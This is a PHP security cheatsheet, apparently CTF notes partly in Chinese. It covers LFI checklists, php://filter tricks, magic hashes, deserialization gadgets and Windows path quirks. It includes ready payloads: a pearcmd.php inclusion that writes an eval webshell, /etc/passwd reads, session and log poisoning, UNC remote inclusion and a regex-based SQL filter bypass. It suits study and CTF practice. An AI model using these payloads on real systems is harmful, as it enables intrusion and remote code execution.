--- title: 'php' tags: cheatsheet --- :::spoiler TOC [TOC] ::: :::spoiler 待整理 - [ ] http://www.madchat.fr/coding/php/secu/ ::: PHP === - https://phrack.org/issues/72/5_md#article ## tool - [3v4l](https://3v4l.org/): run php in all version - https://www.php.net/manual/en/funcref.php - [src](https://github.com/php/php-src/) :::spoiler 讀 src 小筆記 ``` PHP_FUNCTION(file_get_contents): 找 php function 定義 ``` ::: ## version feature ### < 5.3.4 - %00 截斷漏洞 - `aaa.php\x00.jpg` 前後端: jpg; 解析: php ## 副檔名 extension - .php, .phpt, .phtml, .php[1-7] ## config - location - phpinfo.php - Configuration File (php.ini) Path - Loaded Configuration File - Scan this dir for additional .ini files - common - /etc/php/php.ini - /etc/php5/php.ini - docker - /usr/local/etc/php - $PHP_INI_DIR - to config - ini_set - [配置模式](https://www.php.net/manual/en/configuration.changes.modes.php):影響配置方式 - [配置項總表](https://www.php.net/manual/en/ini.list.php) ## Syntax - `$a[]=1;$a[]=2; // $a = [1,2]`: array append - [variable function](https://www.php.net/manual/en/functions.variable-functions.php) - `'system'('ls');`: call function by string - `$a='system';$a('ls');` - `class A{static function f(){}};['A','f']();` : call class by array - [use](https://www.php.net/manual/en/functions.anonymous.php#example-184): `$a = $function () use ($var) {};` - [reference operator](https://www.php.net/manual/en/language.references.php) - [foreach](https://www.php.net/manual/en/control-structures.foreach.php) - `as` 會宣告變數 `foreach([1] as $a);var_dump($a);` - `as` 可以 reference,但是 `as` 操作本身等同 assign,所以要小心[副作用](https://www.php.net/manual/en/language.references.php#87532) - [arrow function](https://www.php.net/manual/en/functions.arrow.php):`$a=fn($b)=>$b+1;` - [Variable functions](https://www.php.net/manual/en/functions.variable-functions.php) ``` $func = array("Foo", "bar"); $func(); // prints "bar" static $func = array(new Foo, "baz"); $func(); // prints "baz" instance $func = "Foo::bar"; $func(); // prints "bar" static ``` - [first class callable syntax](https://www.php.net/manual/en/functions.first_class_callable_syntax.php): >=8.1.0 - `class a{};$b='a';new $a;` 沒辦法直接 `new 'a';` - [Global namespace](https://www.php.net/manual/en/language.namespaces.global.php) - `'\system'('ls');` - [Loose Comparison](https://www.php.net/manual/en/types.comparisons.php) - 臨時函式 - `'\0' + name + filename + ':' + start_lineno + '$' + rtd_key_counter` - https://www.leavesongs.com/PENETRATION/php-challenge-2023-oct.html ## Regex [PCRE](https://www.php.net/manual/en/reference.pcre.pattern.syntax.php) - [Internal option setting](https://www.php.net/manual/en/regexp.reference.internal-options.php) ## PHP tags - config: `short_open_tag` - `<?php`;Standard tags - `<?=` = `<?php echo`:Short echo tag - `<?`: Short tag, default enabled ## header - headers must send before any body. - to disable `header` e.g. CSP - PHP Warning - parameter limits - `max_input_vars` default is 1000, the limit parameters for $_GET, $_POST - $_FILES, limit 20 - Buffering - body buffering 4096 bytes by default - ref - https://x.com/pilvar222/status/1784618120902005070 ## LFI - [phpInclude](https://hackmd.io/@ginoah/phpInclude): 偶像 ginoah 和 bookgin 整理至 2021/12(?) 的 LFI 手法大全, LFI 在 CTF 上的技巧演化 - [The end of PHP LFI challenges (?)](https://hxp.io/blog/88/The-end-of-PHP-LFI-challenges-/): hxp 整理至 2021/12 的 LFI 技巧 - [Docker PHP裸文件本地包含综述](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html): P神整理至 2021/11 前的技巧 > 2021/12 多了一堆黑魔法... - https://ca01h.top/Web_security/php_related/12.PHP%E7%9A%84LFI%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/ - [PHP_LFI_rfc1867_temporary_files](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf) on windows, `<path>\<pre><uuuu>.TMP` ### Check List > from easy to hard - wrapper & filename no length limit? - PHP_INCLUDE_TO_SHELL_CHAR_DICT - Side Channel to AFR - use official PHP docker image? > `/usr/local/lib/php/pearcmd.php` - pearcmd.php LFI - cgi-bin? - `/proc/self/environ` & `User-Agent` - webserver log? > `/var/log/apache2/access.log` > `/var/log/apache2/error.log` - apache > TODO - nginx - ssh? - `/var/log/auth.log` - directory readable? > `/tmp/PHP` > `/var/tmp` > `/var/lib/php/sessions` > `/var/lib/php/` > `/var/lib/php/sessions` > `/tmp/` > `/tmp/sessions/` - enable POST upload? > Linux `.../php[a-zA-Z0-9]{6}` > Windows `.../php[A-F0-9]{4}.tmp` - `file_uploads=On` - phpinfo -> phpinfo race LFI - PHP 7/7.2 -> segment fault bruteforce LFI - enable session upload progress? > `.../upload_progress_<PHPSESSID>` - `session.upload_progress.enabled` - session upload progress LFI - controllable & readable session file? > `.../sess_<PHPSESSID>` - `$_SESSION['xxxx'] = 'ooooo';` - session LFI - Windows? - wildcard `<<>"` - UNC bypass `allow_url_fopen=Off = 0` to RFI - wrapper & extension? - zip - phar deserialization attack - http(RFI) - PHP-FPM + Nginx with the same user & host? - Nginx Assistance - Nginx Fastcgi Tempfile ### leave payload / controllable data :::spoiler TOC - [file upload temporary files](#file-upload-temporary-files) - [controllable session](#controllable-session) - [session upload progress](#session-upload-progress) - [cgi-bin](#cgi-bin) - [Webserver / ssh log](#Webserver--ssh-log) - [Nginx Assistance](#Nginx-Assistance) - [Nginx Fastcgi Tempfile](#Nginx-Fastcgi-Tempfile) ::: #### file upload temporary files - http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf ``` <form action="upload.php" method="post" enctype="multipart/form-data"> Send these files:<br /> <input name="userfile[]" type="file" /><br /> <input name="userfile[]" type="file" /><br /> <input type="submit" value="Send files" /> </form> ``` > ref Gynvael Coldwind ![](https://hackmd.io/_uploads/S1BPVu9Xo.png) - https://www.php.net/manual/en/features.file-upload.php - POST/PUT upload - Linux: `${upload_tmp_dir}/php[a-zA-Z0-9]{6}` - Windows: `C:/Windows/php[A-F0-9]{4}.tmp` > 多文件: https://www.php.net/manual/en/features.file-upload.multiple.php 可利用繞過檢測? - 處理完後自動刪除,需要 race 或阻止刪除發生 - phpinfo race - [LFI WITH PHPINFO() ASSISTANCE](https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf) - php7/7.2 segment fault - php < 7.2: `php://filter/string.strip_tags/resource=/etc/passwd` - php7: `php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA` - 觸發 segment fault 繞過刪除 temp file 步驟 - 爆破 `/tmp/php[a-zA-Z0-9]{6}` - windows 通配符 - `C:\Windows\php<<` #### controllable session - `$_SESSION` - https://www.php.net/manual/en/session.configuration.php - default cookie name `PHPSESSID` - cannot use `.` in name - default location ``` # linux /var/lib/php/sess_<PHPSESSID> /var/lib/php/sessions/sess_<PHPSESSID> /tmp/sess_<PHPSESSID> /tmp/sessions/sess_<PHPSESSID> # windows c:\WINDOWS\TEMP\ c:\php\sessions\ c:\php5\sessions\ c:\php4\sessions\ ``` #### session upload progress - https://www.php.net/manual/en/session.upload-progress.php - `session.upload_progress.enabled` > `.../upload_progress_<PHPSESSID>` - POST with `PHP_SESSION_UPLOAD_PROGRESS=xxxx` - content in upload progress `upload_progress_xxxx|.....` #### cgi-bin - php-cgi - `/proc/self/environ` & `User-Agent` #### Webserver / ssh log - https://hackmd.io/vPxjXBiWTXS_A8sS5EkyoQ#LFI #### Nginx Assistance - https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ - 透過 [client body buffering](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_buffer_size) - x64 POST body 超過 16k會寫檔 - `/var/lib/nginx/body/$X` - 可以透過 fd race 存取 deleted - Soft link loop 擺脫路徑解析問題 - 爆破 `/proc/$pid/cmdline` 找 nginx pid #### Nginx Fastcgi Tempfile - [hxp CTF 2021 - A New Novel LFI - Zedd](https://tttang.com/archive/1384/) - [fastcgi_buffering](https://nginx.org/en/docs/http/ngx_http_fastcgi_module.html#fastcgi_buffering) response 超過約 32k - `/var/lib/nginx/fastcgi/x/y/0000000yx` ### Other #### pearcmd.php - php docker image 預設會有 - pearcmd.php - https://blog.csdn.net/rfrder/article/details/121042290 - `/usr/local/lib/php/pearcmd.php` - `+` 分隔參數 `?/usr/local/lib/php/pearcmd.php&+-c+/tmp/.feng.php+-d+man_dir=<?eval($_GET[0]);?>+-s` ### Include 技巧 - [phar](#phar) - [偽協議](#偽協議) - phpinfo.php race: https://github.com/vulhub/vulhub/tree/master/php/inclusion - 塞大垃圾讓 phpinfo 秀出 temp filename 和清除檔案出現時間差 - 需操作 socket - [路徑解析](#路徑解析-path-resolve) ## phar - config - phar.readonly = Off - 改變附檔名,繞 suffix - 上傳限制 `.png`,LFI 會 append `.php` `phar://aaa.png/bbb.php` ## 偽協議 ``` php://filter/[filters]/resource=[URI] filters = ''|filter('|'filter)+ filter 會經過 URL decode,可以繞過 ./ 限制 convert.iconv.$in['.\']$out ``` - https://www.php.net/manual/en/filters.php - https://segmentfault.com/a/1190000018991087 - https://www.freebuf.com/articles/web/266565.html - `php://filter/read=convert.base64-encode/resource=/etc/passwd` - base64-decode: 忽略所有非法字元後串接, base64_decode("a \xddb= =")=> base64_decode("ab=="),`=` 合法但是 decode 後沒有對應的字元所以會造成截斷,可以用 `convert.iconv.UTF-8.UTF-7` 去掉 `=` - consumed: 消耗字元 - convert.iconv.\$in.\$out: php 預設 utf-8, 垃圾 byte 可能導致編碼錯誤,透過 encoding 將垃圾 byte 轉成垃圾字元,再用 base64-decode 清除垃圾字元 - e.g. utf-16le => utf-8 - supprted encoding https://www.php.net/manual/en/mbstring.supported-encodings.php - convert.quoted-printable-decode: "=aa" => "\xaa" - dechunk: http chunk encoding - 如果開頭是 [0-9a-fA-F],parse 失敗會清空 ``` root@a04f61d7ff35:/tmp# echo $'1\r\nT\r\n0ART' > /tmp/test && php -r 'echo file_get_contents("php://filter/dechunk/resource=/tmp/test")."\n";' T root@a04f61d7ff35:/tmp# echo $'aaaa' > /tmp/test && php -r 'echo file_get_contents("php://filter/dechunk/resource=/tmp/test")."\n";' root@a04f61d7ff35:/tmp# echo $'zzzz' > /tmp/test && php -r 'echo file_get_contents("php://filter/dechunk/resource=/tmp/test")."\n";' zzzz ```` - string.strip_tags(<PHP 7.3.0): 清除 tag <>,會清除為閉合的 tag `b<aaa` => `b` - 黑魔法 - PHP_INCLUDE_TO_SHELL_CHAR_DICT by [loknop](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)&[wupco](https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT) - 不用控檔案,透過各種操作弄出想要的字串 - 要檔名可控且不限長度 - Side channel to AFR by [hashkitten](https://github.com/DownUnderCTF/Challenges_2022_Public/tree/main/web/minimal-php) - 要檔名可控且不限長度 - 依靠 error oracle 讀檔 - 使用 php filter 實現將任意字元調換到第一個、分辨第一個字元是什麼、透過 dechunk 觸發 memory exceed limit 達成 oracle - https://github.com/synacktiv/php_filter_chains_oracle_exploit - 詳細解釋 [PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) - [CVE-2021-3129](https://www.ambionics.io/blog/laravel-debug-rce) ## 路徑解析 path resolve - Soft link loop 可以避免 `php_sys_lstat` 解析 fd 到 deleted file: `include(/proc/self/root/proc/self/root/proc.../proc/34/fd/15)` - [php源码分析 require_once 绕过不能重复包含文件的限制](https://www.anquanke.com/post/id/213235): 繞過刪除限制 - [Windows 通配符](#Windows-FindFirstFile-API-正規化) ## debug - show all error - php ``` ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); ``` - .htaccess ``` php_flag display_startup_errors on php_flag display_errors on ``` - .ini ``` display_errors = on ``` ## php magic hash number - https://github.com/spaze/hashes - md5 - `p == hash(p)`:`0e215962017=>0e291242476940776845150308577824` - `hash(p) == 0`:`12832323351hello=>0e107303994101791601610489605716` - `hash(num) == 0`: `240610708=>0e462097431906509019562988736854` - `hash(UPPER) == 0`: `QLTHNDT=>0e405967825401955372549139051580` - `.V;m=*]b?-=>00e45653718969294213009554265803` ## functions ### `require_once` - https://www.anquanke.com/post/id/213235 - 可以繞過一次的限制 ### [`uniqid`](https://www.php.net/manual/en/function.uniqid.php) > Returns timestamp based unique identifier as a string. - 可以被爆破出來 ### [`move_uploaded_file`](https://www.php.net/manual/en/function.move-uploaded-file.php) > make sure that the file name not bigger than 250 characters. - filename 會失敗 - from 非 uploaded file 會失敗 - 通常 > 255 就會失敗 [ref](https://en.wikipedia.org/wiki/Comparison_of_file_systems#Limits) ### `parse_url` :::spoiler usage ``` print(parse_url('scheme://user:pass@host/path?query#fragment')) ( [scheme] => scheme [host] => host [user] => user [pass] => pass [path] => /path [query] => query [fragment] => fragment ) ``` ::: - parse_url 不會做 urldecode,但是一些協議在 file_get_contents 等等會先做 urldecode,因此可以繞過限制 ``` // kaibro Tricky Web > $file = 'data:,%2f%2f/'; > print_r(parse_url($file)); Array ( [scheme] => data [path] => ,%2f%2f/ ) > echo file_get_contents($file); /// ``` - parse 邏輯 - [php_url_parse_ex2](https://github.com/php/php-src/blob/master/ext/standard/url.c#L104) - `scheme = 1*[ lowalpha | digit | "+" | "-" | "." ] ` - 先解析 `fragement` 後才是 `query` ### `filter_var` - 過長截斷繞過https://pwning.systems/posts/php_filter_var_shenanigans/ ### `sha1` - 7.4.0 - 7.4.30: 非字串會跳 warning 回傳 null - 8: 修補跳 Fatal Error - ### [`preg_match`](https://www.php.net/manual/zh/function.preg-match.php) - 使用 PCRE - 7.4.0 - 7.4.30: 第一或第二參數非字串回傳 false - 結合 first class callable `$a=['A','m'];if(!preg_match('/a-z/i',$a))$a();` - 8.0.1 - 8.0.21, 8.1.0 - 8.1.8: 第一或第二參數非字串跳 error - regex 跳脫錯誤 - wrong `var_dump(preg_match("/\\|a/", "\\"));` - correct `var_dump(preg_match("/\\\\|a/", "\\"));` - 回溯上限是 1,000,000 ``` // by Kaibro <?php if(preg_match('/UNION.+?SELECT/is', 'UNION/*'.str_repeat("a",1000000)."*/SELECT")) { die('Failed'); } die('SQL Injection'); ``` ### mysql_real_escape_string - [MySQL 搭配 `NO_BACKSLASH_ESCAPES` 時,有機會繞過](https://stackoverflow.com/a/23277864) ### strcmp - 相等回傳 0 - 傳入非字串回傳 null, `var_dump(strcmp([],'secret') == strcmp('secret','secret'));` - php 8 修復ㄌ ### __HALT_COMPILER() - 只能在最外層呼叫,後面內容不解析 - 類似註釋效果? ## cgi mode - PATH_INFO, SCRIPT_NAME 解析問題 - [nginx](https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/#passing-uncontrolled-requests-to-php) - `/aaa.jpg/bbb.php` - 不存在 bbb.php 的話會查看 aaa.jpg - `cgi.fix_pathinfo=0` 修補 ## Path Normalization - https://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/ ## Windows ### Windows FindFirstFile API 正規化 - `<`->`*`,一個有時會失效,連續兩個 `<` 轉換比較穩定 - `>`->`?` - `"` -> `.` - 可以忽略開頭的 `.`, `include(htaccess) === include(.htaccess)` - 可以繞過 `allow_url_fopen=Off`(RFI): `include('\\remote\xxx.php')` - `a.php/.` -> `a.php` - [Oddities of PHP file access in Windows®.Cheat-sheet.](http://www.madchat.fr/coding/php/secu/onsec.whitepaper-02.eng.pdf) - [PHP和Windows文件通配符](https://www.sec-note.com/2018/03/14/php%E5%92%8CWINDOWS%E6%96%87%E4%BB%B6%E9%80%9A%E9%85%8D%E7%AC%A6/) - [PHP_LFI_rfc1867_temporary_files](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf) ## serialize/unserialize :::spoiler ref https://www.anquanke.com/post/id/251366 ::: - 類名 case insensitive ``` <?php class B{ } $a = new b(); $a = unserialize('O:1:"b":0:{}'); print_r($a); // B Object ( ) ``` - `serialize`, `unserialze` - [phpggc](https://github.com/ambionics/phpggc) - fast destruct - 構造有問題的序列化字串,讓他解析失敗後提前觸發 object `__destruct` > 如果 parent object 有 `__wakeup` 的話順序不會被打亂] :::spoiler code ``` class A{ function __destruct() { echo "A::destruct\n"; } } class B{ function __wakeup() { echo "B::wakeup\n"; } function __destruct() { echo "B::destruct\n"; } } ``` ``` // 正常 $a = unserialize('O:1:"A":1:{s:1:"b";O:1:"B":0:{}}'); // B::wakeup A::destruct B::destruct ``` ``` // fast destruct $a = unserialize('O:1:"A":2:{s:1:"b";O:1:"B":0:{}}'); // PHP Notice: unserialize(): Unexpected end of serialized data in /home/eethan1/Projects/popaeg/bbb.php on line 19 Notice: unserialize(): Unexpected end of serialized data in /home/eethan1/Projects/popaeg/bbb.php on line 19 PHP Notice: unserialize(): Error at offset 31 of 32 bytes in /home/eethan1/Projects/popaeg/bbb.php on line 19 Notice: unserialize(): Error at offset 31 of 32 bytes in /home/eethan1/Projects/popaeg/bbb.php on line 19 A::destruct B::wakeup B::destruct // 如果 A 有定義 __wakeup A::destruct 不會被觸發 PHP Notice: unserialize(): Unexpected end of serialized data in /home/eethan1/Projects/popaeg/bbb.php on line 23 Notice: unserialize(): Unexpected end of serialized data in /home/eethan1/Projects/popaeg/bbb.php on line 23 PHP Notice: unserialize(): Error at offset 31 of 32 bytes in /home/eethan1/Projects/popaeg/bbb.php on line 23 Notice: unserialize(): Error at offset 31 of 32 bytes in /home/eethan1/Projects/popaeg/bbb.php on line 23 B::wakeup B::destruct ``` ::: - __PHP_Incomplete_Class - `__PHP_Incomplete_Class_Name` 帶要找的類名 - 可以加其他 property - 序列化時若無 `__PHP_Incomplete_Class_Name` 則 property 會被清空 ``` <?php $a = unserialize('O:22:"__PHP_Incomplete_Class":1:{s:1:"b";s:3:"cmd";}'); print_r($a); print_r(serialize($a)); // php__PHP_Incomplete_Class Object ( [b] => cmd ) O:22:"__PHP_Incomplete_Class":0:{} ``` - 可以繞檢測(? - 不只 magic method, interface 也是 gadget - e.g. foreach 觸發 getiterator - https://www.php.net/manual/en/reserved.interfaces.php - https://www.php.net/manual/en/class.traversable.php - https://speakerdeck.com/alertot/php-object-injection-revival?slide=54 - Reference Trick - https://github.com/paul-axe/ctf/blob/master/wctf2019/p-door/p-door.pdf - Ref type `$b = &$a` ## TODO - off by one error > kaibro > ![](https://hackmd.io/_uploads/rkd913A3q.png) ![](https://hackmd.io/_uploads/BkYhynA39.png) ![](https://hackmd.io/_uploads/ryj-en0nc.png) - bypass gd manipulate - https://www.synacktiv.com/en/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html - store - extension guess > The file's extension will be determined by examining the file's MIME type. ### binary - https://www.evonide.com/how-we-broke-php-hacked-pornhub-and-earned-20000-dollar/ - https://blog.orange.tw/posts/2021-02-a-journey-combining-web-and-binary-exploitation/